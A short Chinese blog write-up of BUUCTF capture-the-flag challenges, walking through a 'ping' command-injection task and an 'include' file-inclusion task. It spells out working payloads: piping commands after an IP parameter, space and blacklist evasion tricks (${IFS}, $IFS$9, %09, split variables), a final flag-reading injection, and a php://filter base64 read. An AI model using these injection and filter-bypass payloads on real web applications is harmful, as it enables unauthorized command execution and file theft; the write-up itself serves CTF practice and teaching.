buuctf ping /include /have fun

 01

打开题目的界面就大概知道这道题是要

ping  ip  地址的方法做

 

一般的话首先ping  127.0.0.1(我自己本机)  通过回显的状态可以知道是直接ping成功了

ping的方法一般是用于检查网络配置是不是正常,多用于检查自己的网络是不是连接成功

 

 正常的一般操作是直接用get的方式传参

ping  成功,就是之前写过的一道题目一样,,接下来寻找有flag文件夹的目录

构造payload  /?ip=127.0.0.1|ls    (这里的话用get的方式传参,直接在地址栏输入有空格的话会被URL编码,所以不要有空隔)

                                                    (之前那道类似的题是使用post传参,直接在hackbar上面操作加空格不影响)

会显发现是有两个PHP文件

flag.php

index.php

直接cat flag.php文件的话会报错,,显示fxck   your   space     ///空格别过滤了

————————————————————————————————————————————————————————————————————

02

绕过姿势

首先使空格的绕过姿势

${IFS}       $IFS$9    %09

读取文件的时候可以使用重定向符<>实现绕过

黑名单绕过

ls    (拼接绕过)

a=l;b=s;$a$b

还有base64编码绕过

cat   (要拿到一个文件内容的话)

a=c;b=at;c=文件名前一部分(到哪里主要是要看怎么样才能绕过黑名单);d=文件名的后一部分;$a$b${c}${d}

_______________________________________________________________________________________________________________________

03

题目的话回到构造payload  :?ip=127.0.0.1|cat$IFS$9index.php      (直接获取flag.php报错)

 

 可以看到注入的规则是通过正则表达式实现过滤的

preg_match的使用官方解释  :https://www.runoob.com/php/php-preg_match.html

代码审计知道首先是不能够有/   然后不能有空格  不能有flag   正则表达式匹配的话  这里只要把最后的g变一下就可以实现绕过了

payload   :/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php     然后f12   可查看flag。

——————————————————————————————————————————————————————————————————————————————

04

include 

主要是考察了文件包含和php伪协议

查看源码发现flag.php文件

构造playload   :?file=php://filter/read=convert.base64-encode/resource=flag.php

php:filter是伪协议   read是包含函数,,,,接下来是base64编码绕过

相应的是base64编码后的flag文件内容,,之后拿去解码就好了

___________________________________________________________________________________________________________________________________

05

启动靶机

查看源代码

发现条件

get传参

结束

 

posted @ 2021-01-23 09:16  ctfliar  阅读(143)  评论(0)    收藏  举报